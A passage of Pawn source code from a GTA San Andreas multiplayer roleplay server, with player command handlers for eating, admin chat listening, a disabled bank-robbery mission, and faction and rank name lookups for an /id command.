						{
							SendMessage(playerid, COLOR_GREY, "That player is Offline!");
							return 1;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this commnad.");
					return 1;
				}
			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/spray", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
					if(PlayerInfo[playerid][pClan] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not in a clan.");
					if(GetPlayerWeapon(playerid) != 41) return SCM(playerid, COLOR_YELLOW2, "Error: you don't have spray on your hand.");
					if(OnSpray[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: you already were in spraying.");
					if(IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: you must be on-foot.");
					if(OnDuty[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: you are on-duty.");
					for(new i = 0;i<50;i++) {
					//if (!PlayerToPoint(4, playerid,spInfo[i][sX], spInfo[i][sY], spInfo[i][sZ])) return SCM(playerid, COLOR_YELLOW2, "Error: you are not near of a spray.");
					if (PlayerToPoint(4, playerid,spInfo[i][sX], spInfo[i][sY], spInfo[i][sZ])) {
					if(PINFO[playerid][pClan] == spInfo[i][sClan]) return SCM(playerid, COLOR_YELLOW2, "Error: this spray already was for your clan.");
					Spray[playerid] = i;
					PlayerTextDrawShow(playerid, shacklog2[playerid]);
					new spray[256];
					new darsad = DarsadSpray[PINFO[playerid][pClan]][Spray[playerid]];
					format(spray, sizeof(spray), "Spray: %i%", darsad);
					PlayerTextDrawSetString(playerid, shacklog2[playerid], spray);
					OnSpray[playerid] = 1;
					DarsadPlayer[playerid] = 0;
					Spraying[i] = PINFO[playerid][pClan];
					SendClanMessage(spInfo[i][sClan], 0x33AA33AA, "[Clan War]: a player is spraying on your spray location.");
					for(new x = 0;x<Akharish;x++) {
					if(PlayerInfo[x][pClan] != 0) {
					new c2[512];
					format(c2, sizeof(c2), "0x%sCC", DynamicClans[PlayerInfo[playerid][pClan]-1][cColor]);
					new color2 = HexToInt(c2);
					GangZoneFlashForPlayer(x,Sprayst[i],color2);
					}

				}
				}
					}
			}
			return 1;
		}
		*/
	//----------------------------------[mole]-----------------------------------------------
	/*  if(strcmp(cmd, "/mole", true) == 0)
		{
		if(PlayerInfo[playerid][pAdmin] >= 4)
		{
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
	   new result[64];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /mole [mole text]");
					return 1;
				}
				format(string, sizeof(string), "SMS: %s, Sender: MOLE (555)",result);
				if (gTeam[playerid] < 3){SendMessage(playerid, COLOR_YELLOW, string);}
				SendEnemyMessage(COLOR_YELLOW, string);
				for(new i = 0; i < Akharish; i++)
				{
					if(IsPlayerConnected(i))
					{
						if(gTeam[i] >= 3 && gPlayerSpawned[i])
						{
							RingTone[i] =20;
						}
					}
				}
				printf("MOLE: %s", result);
			}
			return 1;
		}
		else
		{
		SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		return 1;
		}
		}*/
	//----------------------------------[RECON]-----------------------------------------------
		if(strcmp(cmd, "/bigears", true) == 0)
		{
		if(PlayerInfo[playerid][pAdmin] < 9 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				if (!BigEar[playerid])
				{
					BigEar[playerid] = 1;
					SendMessage(playerid, COLOR_GRAD2, "You're ears are big now!");
				}
				else if (BigEar[playerid])
				{
					(BigEar[playerid] = 0);
					SendMessage(playerid, COLOR_GRAD2, "You're ears are small now");
				}
			}
			return 1;
		}
		//----------------------------------[HOTDOG-Place]-----------------------------------------------
		if(strcmp(cmd, "/hotdog", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(GetPlayerPool(playerid) < SBizzInfo[21][sbEntranceCost]) return SCM(playerid,COLOR_SINA3,"You haven't enough cash.");
				if(IsAtHotdogPlace(playerid))
				{
					new Float:health;
					GetPlayerHealth(playerid,health);
					if(health >= 75)
					{
						SetPlayerKoon(true, playerid, 100);
						LoopingAnim(playerid,"FOOD","EAT_Burger", 3.0, 0, 0, 0, 0, 0);
						GivePlayerPool(playerid, -SBizzInfo[21][sbEntranceCost]);
						new stri[50];
						format(stri, 50, "~r~-$%s",FormatNumber(SBizzInfo[21][sbEntranceCost]));
						GameTextForPlayer(playerid, stri, 5000, 1);
					}
					else
					{
						SetPlayerKoon(true, playerid, health+25);
						LoopingAnim(playerid,"FOOD","EAT_Burger", 3.0, 0, 0, 0, 0, 0);
						GivePlayerPool(playerid, -SBizzInfo[21][sbEntranceCost]);
						new stri[50];
						format(stri, 50, "~r~-$%s",FormatNumber(SBizzInfo[21][sbEntranceCost]));
						GameTextForPlayer(playerid, stri, 5000, 1);
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GRAD1,"You are not at a hotdog place.");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/eat", true) == 0)
		{
		   if(IsPlayerConnected(playerid))
		   {
			  if(GetPlayerPool(playerid) <=0 ) return SCM(playerid,COLOR_SINA3,"You haven't enough cash.");
			  if(IsAtEatPlace(playerid))
			  {
					new Float:health;
					GetPlayerHealth(playerid,health);
					if(health >= 75)
					{
						SetPlayerKoon(true, playerid, 100);
						LoopingAnim(playerid,"FOOD","EAT_Burger", 3.0, 0, 0, 0, 0, 0);
						GivePlayerPool(playerid, -1);
						GameTextForPlayer(playerid, "~r~-$1", 5000, 1);
					}
					else
					{
						SetPlayerKoon(true, playerid, health+50);
						LoopingAnim(playerid,"FOOD","EAT_Burger", 3.0, 0, 0, 0, 0, 0);
						GivePlayerPool(playerid, -1);
						GameTextForPlayer(playerid, "~r~-$1", 5000, 1);
					}
			  }
			  else
			  {
					SendMessage(playerid, COLOR_GRAD1,"You are not at a eat place.");
					return 1;
			  }
		   }
			return 1;
		}
			/*if(strcmp(cmd, "/gsh", true) == 0)
				{
		   if(IsPlayerConnected(playerid))
		   {
			  if(GetPlayerPool(playerid) <=0 ) return SCM(playerid,COLOR_SINA3,"You haven't enough cash.");
			  if(IsAtEatPlace(playerid))
			  {
					new Float:health;
					GetPlayerHealth(playerid,health);
					if(health >= 75)
					{
						SetPlayerKoon(true, playerid, 100);
						LoopingAnim(playerid,"FOOD","EAT_Burger", 3.0, 0, 0, 0, 0, 0);
						GivePlayerPool(playerid, -1);
						GameTextForPlayer(playerid, "~r~-$1", 5000, 1);
					}
					else
					{
						SetPlayerKoon(true, playerid, health+25);
						LoopingAnim(playerid,"FOOD","EAT_Burger", 3.0, 0, 0, 0, 0, 0);
						GivePlayerPool(playerid, -1);
						GameTextForPlayer(playerid, "~r~-$1", 5000, 1);
					}
			  }
			  else
			  {
					SendMessage(playerid, COLOR_GRAD1,"You are not at a eat place.");
					return 1;
			  }
		   }
			return 1;
		}*/
	/*----------------------------------------------------------------------------*/
	/*----------------------------------------------------------------------------*/
	/*----------------------------------------------------------------------------*/
	/*----------------------------------------------------------------------------*/
	/*----------------------------------------------------------------------------*/
	// this command rewirted by Sina
	/*
		if(!strcmp(cmd,"/rob",true))
		{
			if(IsACop(playerid)) return SCM(playerid,COLOR_BLUE,"Cops can't do a rob.");
			if(PINFO[playerid][pLevel] <= 4) return SCM(playerid,COLOR_SINA3,"To do a rob your level must be more than 5.");
			if(!IsPlayerInAnyVehicle(playerid) || GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid,COLOR_SINA3,"You are not driving a 4 door vehicle.");
			if(GetPlayerWantedLevel(playerid) >= 1) return SCM(playerid,COLOR_SINA3,"You can't do a rob when you've got wanted level(s).");
			if(PINFO[playerid][pRob] <= 9) return SCM(playerid,COLOR_SINA3,"You haven't enough rob points.");
			new passengers,passenger[20],car = GetPlayerVehicleID(playerid);
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i))
				{
					if(GetPlayerVehicleID(i) == car && GetPlayerState(i) == PLAYER_STATE_PASSENGER)
					{
						passenger[passengers] = i;
						passengers ++;
					}
				}
			}
			new lolstr[256];format(lolstr,256,"You haven't enough passengers, you need %i more passengers to be on your vehicle.",3-passengers);
			if(passengers <= 2) return SCM(playerid,COLOR_SINA3,lolstr);
			for(new i = 0;i<passengers;i++)
			{
				if(IsACop(passenger[i]))
				{
					return SCM(playerid,COLOR_SINA3,"Some passenger of your vehicle are cop.");
				}
				if(PINFO[passenger[i]][pLevel] <= 4)
				{
					return SCM(playerid,COLOR_SINA3,"Some passenger of your vehicle hasen't enough level.");
				}
				if(GetPlayerWantedLevel(passenger[i]) >= 1)
				{
					return SCM(playerid,COLOR_SINA3,"Some passenger of your vehicle has some wanted levels.");
				}
				if(PINFO[passenger[i]][pRob] <= 9)
				{
					return SCM(playerid,COLOR_SINA3,"Some passenger of your vehicle hasen't enough rob point.");
				}
			}
			if(OnCheckpoint[playerid] == 1) return SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
			if(PlayerToPoint(7.0,playerid,1462.045043,-1022.331298,23.828125))
			{
				new rand = RandomShomare(1,5);
				if(rand == 1)
				{ CP[playerid]= 2002001; SetPlayerCheckpoint(playerid, 2367.964111,-2015.561279,13.543686,5.0); }
				else if(rand == 2)
				{ CP[playerid]= 2002002; SetPlayerCheckpoint(playerid, 2769.609375,-1606.480957,10.921875,5.0); }
				else if(rand == 3)
				{ CP[playerid]= 2002003; SetPlayerCheckpoint(playerid, 2334.011474,-2078.141601,13.553783,5.0); }
				else if(rand == 4)
				{ CP[playerid]= 2002004; SetPlayerCheckpoint(playerid, 1386.927855,-1458.305053,13.543418,5.0); }
				else if(rand == 5)
				{ CP[playerid]= 2002005; SetPlayerCheckpoint(playerid, 1086.228881,-1359.360473,13.676521,5.0); }
				OnCheckpoint[playerid] = 1;

				SetTimerEx("robanti", 15000, false, "i",playerid);
				RobBug[playerid] = 1;


				for(new i = 0;i<passengers;i++)
				{
					OnRob[passenger[i]] = true;
					RobDriver[passenger[i]] = playerid;
					SetPlayerWantedLevel(passenger[i],GetPlayerWantedLevel(passenger[i])+6);
					SetPlayerCriminal(passenger[i],INVALID_PLAYER_ID, "Bank robbery",6);
                    WantedKamKonTimerValid[i] = true;
                    WantedTimerEZ[i] = 900;
                    PlayerTextDrawShow(i, WantedTTD[i]);
					SCM(passenger[i],COLOR_LIGHTRED, "you Robbed the bank and become 6 Wanted");
					SCM(passenger[i],COLOR_LIGHTRED, "Do not exit of car before you arrive to checkpoint!");
					format(string, sizeof(string), "[Dep-Warn]: {0069FF} We have new robbers!.");
					SendFamilyMessage(1, COLOR_LIGHTRED, string, string);
					format(string, sizeof(string), "[Dep-Warn]: {0069FF} We have new robbers!.");
					SendFamilyMessage(2, COLOR_LIGHTRED, string, string);
					format(string, sizeof(string), "[Dep-Warn]: {0069FF} We have new robbers!.");
					SendFamilyMessage(3, COLOR_LIGHTRED, string, string);
					//PlayerInfo[passenger[i]][pRob] = 0;
					//SaveKonVal(passenger[i], "pRob", 0);
				PlayerInfo[passenger[i]][pRob] = PlayerInfo[passenger[i]][pRob] -= 10;
				SaveKonVal(passenger[i], "pRob", PlayerInfo[passenger[i]][pRob]);
					RobMember[playerid][i] = passenger[i];
				}
				RobMemberCount[playerid] = passengers;
				OnRob[playerid] = true;
				RobLeader[playerid] = true;
				SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)+6);
                WantedKamKonTimerValid[playerid] = true;
                WantedTimerEZ[playerid] = 900;
                PlayerTextDrawShow(playerid, WantedTTD[playerid]);
				SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Bank robbery", 6);
				SCM(playerid,COLOR_LIGHTRED, "you Robbed the bank and become 6 Wanted");
				SCM(playerid,COLOR_LIGHTRED, "Do not exit of car before you arrive to checkpoint!");
				format(string, sizeof(string), "[Dep-Warn]: {0069FF} We have new robbers!.");
				SendFamilyMessage(1, COLOR_LIGHTRED, string, string);
				format(string, sizeof(string), "[Dep-Warn]: {0069FF} We have new robbers!.");
				SendFamilyMessage(2, COLOR_LIGHTRED, string, string);
				format(string, sizeof(string), "[Dep-Warn]: {0069FF} We have new robbers!.");
				SendFamilyMessage(3, COLOR_LIGHTRED, string, string);
				//PlayerInfo[playerid][pRob] = 0;
				//SaveKonVal(playerid, "pRob", 0);
			 PlayerInfo[playerid][pRob] = PlayerInfo[playerid][pRob] -= 10;
			 SaveKonVal(playerid, "pRob", PlayerInfo[playerid][pRob]);
				RobDriver[playerid] = INVALID_PLAYER_ID;
				return 1;
			}
			else if(PlayerToPoint(7.0,playerid,2577.072998,1322.112426,10.820312))
			{
				new rand = RandomShomare(1,4);
				if(rand == 1)
				{ CP[playerid]= 2002006; SetPlayerCheckpoint(playerid, 2783.250732,2199.683349,10.820312,5.0); }
				else if(rand == 2)
				{ CP[playerid]= 2002007; SetPlayerCheckpoint(playerid, 2102.033935,2652.402343,10.820312,5.0); }
				else if(rand == 3)
				{ CP[playerid]= 2002008; SetPlayerCheckpoint(playerid, 1583.934814,1920.543579,10.820312,5.0); }
				else if(rand == 4)
				{ CP[playerid]= 2002009; SetPlayerCheckpoint(playerid, 1716.415771,1160.865600,10.756690,5.0); }
				OnCheckpoint[playerid] = 1;
				for(new i = 0;i<passengers;i++)
				{
					OnRob[passenger[i]] = true;
					RobDriver[passenger[i]] = playerid;
					SetPlayerWantedLevel(passenger[i],GetPlayerWantedLevel(passenger[i])+6);
					SetPlayerCriminal(passenger[i],INVALID_PLAYER_ID, "Bank robbery", 6);
                    WantedKamKonTimerValid[i] = true;
                    WantedTimerEZ[i] = 900;
                    PlayerTextDrawShow(i, WantedTTD[i]);
					SCM(passenger[i],COLOR_LIGHTRED, "you Robbed the bank and become 6 Wanted");
					SCM(passenger[i],COLOR_LIGHTRED, "Do not exit of car before you arrive to checkpoint!");
					format(string, sizeof(string), "[Dep-Warn]: {0069FF} We have new robbers!.");
					SendFamilyMessage(1, COLOR_LIGHTRED, string, string);
					format(string, sizeof(string), "[Dep-Warn]: {0069FF} We have new robbers!.");
					SendFamilyMessage(2, COLOR_LIGHTRED, string, string);
					format(string, sizeof(string), "[Dep-Warn]: {0069FF} We have new robbers!.");
					SendFamilyMessage(3, COLOR_LIGHTRED, string, string);
					//PlayerInfo[passenger[i]][pRob] = 0;
					//SaveKonVal(passenger[i], "pRob", 0);
				PlayerInfo[passenger[i]][pRob] = PlayerInfo[passenger[i]][pRob] -= 10;
				SaveKonVal(passenger[i], "pRob", PlayerInfo[passenger[i]][pRob]);
					RobMember[playerid][i] = passenger[i];
				}
				RobMemberCount[playerid] = passengers;
				OnRob[playerid] = true;
				RobLeader[playerid] = true;
				SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)+6);
				SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Bank robbery", 6);
                WantedKamKonTimerValid[playerid] = true;
                WantedTimerEZ[playerid] = 900;
                PlayerTextDrawShow(playerid, WantedTTD[playerid]);
				SCM(playerid,COLOR_LIGHTRED, "you Robbed the bank and become 6 Wanted");
				SCM(playerid,COLOR_LIGHTRED, "Do not exit of car before you arrive to checkpoint!");
				format(string, sizeof(string), "[Dep-Warn]: {0069FF} We have new robbers!.");
				SendFamilyMessage(1, COLOR_LIGHTRED, string, string);
				format(string, sizeof(string), "[Dep-Warn]: {0069FF} We have new robbers!.");
				SendFamilyMessage(2, COLOR_LIGHTRED, string, string);
				format(string, sizeof(string), "[Dep-Warn]: {0069FF} We have new robbers!.");
				SendFamilyMessage(3, COLOR_LIGHTRED, string, string);
				//PlayerInfo[playerid][pRob] = 0;
				//SaveKonVal(playerid, "pRob", 0);
			 PlayerInfo[playerid][pRob] = PlayerInfo[playerid][pRob] -= 10;
			 SaveKonVal(playerid, "pRob", PlayerInfo[playerid][pRob]);
				RobDriver[playerid] = INVALID_PLAYER_ID;
				return 1;
			}
			else return SCM(playerid,COLOR_SINA3,"You are not near any bank.");
		}
*/
	if(strcmp(cmd, "/id", true) == 0)
		{
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /id <Playerid/PartOfName>");
			new target = ReturnUser3(tmp, playerid);
			if(!IsPlayerConnected(target)) return 1;
			new sstring[256];
			new ttext[50];
			new hackercheckcover = 0;
			if(PlayerInfo[target][pMember] == 2 || PlayerInfo[target][pLeader] == 2) { ttext = "{0000CC}Federal Bureau of Investigation"; }
			else if(PlayerInfo[target][pMember] == 1 || PlayerInfo[target][pLeader] == 1) { ttext = "{0000ff}Police Departament"; }
			else if(PlayerInfo[target][pMember] == 3 || PlayerInfo[target][pLeader] == 3) { ttext = "{2c4c9b}National Guard"; }
			else if(PlayerInfo[target][pMember] == 5 || PlayerInfo[target][pLeader] == 5) { ttext = "{5D7E8D}The Silence Mafia"; }
			else if(PlayerInfo[target][pMember] == 6 || PlayerInfo[target][pLeader] == 6) { ttext = "{3E3535}The Killers Family"; }
			else if(PlayerInfo[target][pMember] == 12 || PlayerInfo[target][pLeader] == 12) { ttext = "{19AF23}Dangerous Tigers Family"; }
			else if(PlayerInfo[target][pMember] == 13 || PlayerInfo[target][pLeader] == 13) { ttext = "{FFBA00}Legendary Men Family"; }
			else if(PlayerInfo[target][pMember] == 14 || PlayerInfo[target][pLeader] == 14) { ttext = "{B32CF6}Fast N Furious Family"; }
			else if(PlayerInfo[target][pMember] == 15 || PlayerInfo[target][pLeader] == 15) { ttext = "{00ECEC}Storm Men Family"; }
			else if(PlayerInfo[target][pMember] == 7 || PlayerInfo[target][pLeader] == 7) { ttext = "{BBF060}Mayor"; }
			else if(PlayerInfo[target][pMember] == 8 || PlayerInfo[target][pLeader] == 8) { ttext = "{8E2323}Hitman Agency"; }
			else if(PlayerInfo[target][pMember] == 4 || PlayerInfo[target][pLeader] == 4) { ttext = "{FF4500}Fire & Medic Department"; }
			else if(PlayerInfo[target][pMember] == 9 || PlayerInfo[target][pLeader] == 9) { ttext = "{825B8C}News Reporter"; }
			else if(PlayerInfo[target][pMember] == 10 || PlayerInfo[target][pLeader] == 10) { ttext = "{FFFF00}Taxi Drivers"; }
			else if(PlayerInfo[target][pMember] == 16 || PlayerInfo[target][pLeader] == 16) { ttext = "{F9F7CE}Tow Truck Company"; }
			else if(PlayerInfo[target][pMember] == 11 || PlayerInfo[target][pLeader] == 11) { ttext = "{00a6ff}School Instructor"; }
			else if(PlayerInfo[target][pMember] == 17 || PlayerInfo[target][pLeader] == 17) { ttext = "{7A7399}Unknowns"; hackercheckcover = 1;}
			else if(PlayerInfo[target][pMember] == 19 || PlayerInfo[target][pLeader] == 19) { ttext = "{0E47FF}Top Boys Family"; }
			else if(PlayerInfo[target][pMember] == 20 || PlayerInfo[target][pLeader] == 20) { ttext = "{60F565}San Fiero Police Departement"; }
			//else if(PlayerInfo[target][pSoldier] != 0 || PlayerInfo[target][pLeader] == 21) { ttext = "{7D633B}Soldier"; }
			else { ttext = "{FFFFFF}Civilian"; }
			// End faction
			if(hackercheckcover == 1)
			{
			if(HackerCovered[target] == 1)
			{
			ttext = "{FFFFFF}Civilian";
			hackercheckcover = 2;
			}
			}
			// Start Rank
			new rtext[64];
			if(PlayerInfo[target][pMember] == 1 || PlayerInfo[target][pLeader] == 1)//PD Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "Soldier"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Police Officer"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Sergeant"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Captain"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Colonel"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Chief"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "PD Leader"; }

			}
			else if(PlayerInfo[target][pMember] == 2 || PlayerInfo[target][pLeader] == 2)//FBI Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "New Agent Trainee"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Special Agent"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Supervisory Special Agent"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Unit Chief"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Deputy Director"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Director"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "FBI Leader"; }

			}
			else if(PlayerInfo[target][pMember] == 3 || PlayerInfo[target][pLeader] == 3)//NG Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "Private"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Corporal"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Sergeant"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Master Sergeant"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Sergeant Major"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Marshal"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "NG Leader"; }

			}
			else if(PlayerInfo[target][pMember] == 4 || PlayerInfo[target][pLeader] == 4)//Medic Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "Private"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Candidate Fire Paramedic"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Fire Paramedic"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Paramedic in charge"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Ambulance Commander"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Paramedic Field"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Chief Paramedic"; }

			}
			else if(PlayerInfo[target][pMember] == 5 || PlayerInfo[target][pLeader] == 5)//Silence Family Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Don The Silence"; }

			}
			else if(PlayerInfo[target][pMember] == 6 || PlayerInfo[target][pLeader] == 6)//The Killers Family Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Don The Killers"; }

			}
			else if(PlayerInfo[target][pMember] == 7 || PlayerInfo[target][pLeader] == 7)//Mayor ranks
			{
				if(PlayerInfo[target][pRank] == 7) { rtext = "Mayor"; }

			}
			else if(PlayerInfo[target][pMember] == 8 || PlayerInfo[target][pLeader] == 8)//Hitman Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "FreeLancer"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Marksman"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Agent"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Special Agent"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Vice-Director"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Co-Director"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Director"; }

			}
			else if(PlayerInfo[target][pMember] == 9 || PlayerInfo[target][pLeader] == 9)//NR Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "Intern"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Intern"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Local Reporter"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Local Editor"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Network Anchor"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Network Editor"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Network Producer"; }
			}
			else if(PlayerInfo[target][pMember] == 10 || PlayerInfo[target][pLeader] == 10)//Taxi Company Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "Trainee"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Trainee"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Taxi Rookie"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Cabbie"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Dispatcher"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Shift Supervisor"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Taxi Company Owner"; }
			}
			else if(IsAnInstructor(target))//Driving/Flying School Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "Trainee"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Trainee"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Instructor"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Senior Instructor"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Manager"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Under Boss"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Boss"; }
			}
			else if(PlayerInfo[target][pMember] == 12 || PlayerInfo[target][pLeader] == 12)//Dangerous Tigers Family Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Don Dangerous Tiger"; }

			}
			else if(PlayerInfo[target][pMember] == 17 || PlayerInfo[target][pLeader] == 17)//Hacker Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "New Hacker"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Trial Hacker"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Hacker"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Perfect Hacker"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Old Hacker"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Private Hacker"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Hackers Leader"; }

			}
			else if(PlayerInfo[target][pMember] == 19 || PlayerInfo[target][pLeader] == 19)//Dangerous Tigers Family Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "1"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "2"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "3"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "4"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "5"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Sub-Leader"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Leader"; }

			}
			else if(PlayerInfo[target][pMember] == 20 || PlayerInfo[target][pLeader] == 20)//Dangerous Tigers Family Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "1"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "2"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "3"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "4"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "5"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Sub-Leader"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Leader"; }

			}
			else if(PlayerInfo[target][pMember] == 13 || PlayerInfo[target][pLeader] == 13)//Legendary Men Family Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Don Legendary Men"; }

			}
			else if(PlayerInfo[target][pMember] == 14 || PlayerInfo[target][pLeader] == 14)//Fast N Furious Family Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Caporegime"; }
